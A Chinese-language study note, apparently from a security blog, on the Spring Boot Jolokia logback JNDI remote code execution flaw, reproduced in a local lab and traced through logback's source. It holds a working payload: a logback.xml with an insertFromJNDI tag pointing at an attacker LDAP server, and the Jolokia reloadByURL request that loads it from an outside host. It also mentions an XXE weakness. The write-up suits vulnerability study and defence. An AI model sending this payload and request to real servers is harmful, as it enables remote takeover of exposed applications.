SpringBoot jolokia logback JNDI RCE
前言:jolokia logback JNDI RCE 漏洞学习笔记
在实战中碰到的几率还是有的,不过有时候不存在相关可利用的依赖,有时候不存在相关可利用的MBean,总是会觉得可惜...
这里不讲述相关的jolokia的MBean使用方法,如果需要的话可以去学习下
参考文章:https://jolokia.org/reference/html/protocol.html#request-example
环境搭建与漏洞利用
漏洞环境参考:https://github.com/LandGrey/SpringBootVulExploit
打开相关的jolokia logback工程,然后配置下启动类即可,如下图所示
接着访问 http://localhost:9094/actuator/jolokia/list ,搜索MBean "logback"
启用相关的存在PAYLOAD的LDAP服务
logback.xml内容如下
<configuration>
<insertFromJNDI env-entry-name="ldap://192.168.0.108:1389/exo5gx" as="appName" />
</configuration>
进行JNDI注入,访问如下地址
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.0.108:8000!/logback.xml
命令执行成功,如下图所示
漏洞分析
这里通过相关工具来进行解析,格式化寻找相关MBean
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/$java.net.URL
[+] DESC : Operation exposed for management // returns void
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByFileName/$java.lang.String
[+] DESC : Operation exposed for management // returns void
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadDefaultConfiguration
[+] DESC : Operation exposed for management // returns java.lang.String
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/getLoggerLevel/$java.lang.String
[+] DESC : Operation exposed for management // returns java.lang.String
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/getLoggerEffectiveLevel/$java.lang.String
[+] DESC : Operation exposed for management // returns void
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/setLoggerLevel/$java.lang.String/$java.lang.String
http://localhost:9094/actuator/jolokia/read/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/Statuses
http://localhost:9094/actuator/jolokia/read/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/LoggerLis
大家提供的利用方法都是通过http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/$java.net.URL
的方法来进行的
这里可以过来看下相关实现代码,直接来看ch.qos.logback.classic.jmx.JMXConfigurator中的reloadByURL方法
public void reloadByURL(URL url) throws JoranException {
StatusListenerAsList statusListenerAsList = new StatusListenerAsList();
addStatusListener(statusListenerAsList);
addInfo("Resetting context: " + loggerContext.getName());
loggerContext.reset();
// after a reset the statusListenerAsList gets removed as a listener
addStatusListener(statusListenerAsList);
try {
if (url != null) {
JoranConfigurator configurator = new JoranConfigurator();
configurator.setContext(loggerContext);
configurator.doConfigure(url);
addInfo("Context: " + loggerContext.getName() + " reloaded.");
}
} finally {
removeStatusListener(statusListenerAsList);
if (debug) {
StatusPrinter.print(statusListenerAsList.getStatusList());
}
}
}
这个方法自己大概跟过后就会了解,就是通过外部提供的URL来进行加载相关logback.xml的配置文件
这里可以跟到configurator.doConfigure(url);
中进行观察,这里的话就是准备好URL,然后获取请求好回来的内容,也就是 攻击者服务器上的logback.xml的内容流
继续跟进doConfigure(in, url.toExternalForm());
,可以看到的就是对这个logback.xml内容流进行解析
如何解析的?继续跟到recorder.recordEvents(inputSource);
来观察,可以看到典型的XML组件解析操作,并且没有相关的XXE注入拦截,所以这里同时也存在XXE漏洞
recorder.recordEvents(inputSource);
解析完之后会存在一个,其中就存在一个对攻击者服务器请求的logback.xml的内容结构
其中可以看到一个标签<insertFromJNDI>
,通过了解logback的官方文档,logback如果读取到该标签,就会对标签进行实例化一个InsertFromJNDIAction对象,调用该对象的begin方法,该begin方法会生成上下文进行目标请求
跟到doConfigure(recorder.saxEventList);
就会知道它是如何进行请求的
继续跟到play方法中,可以发现对整体的xml内容结构进行遍历解析
最后读到那段JNDI地址的标签的时候,它最后就会通过实例化一个上下文对象,然后请求这个地址,最终触发了JNDI注入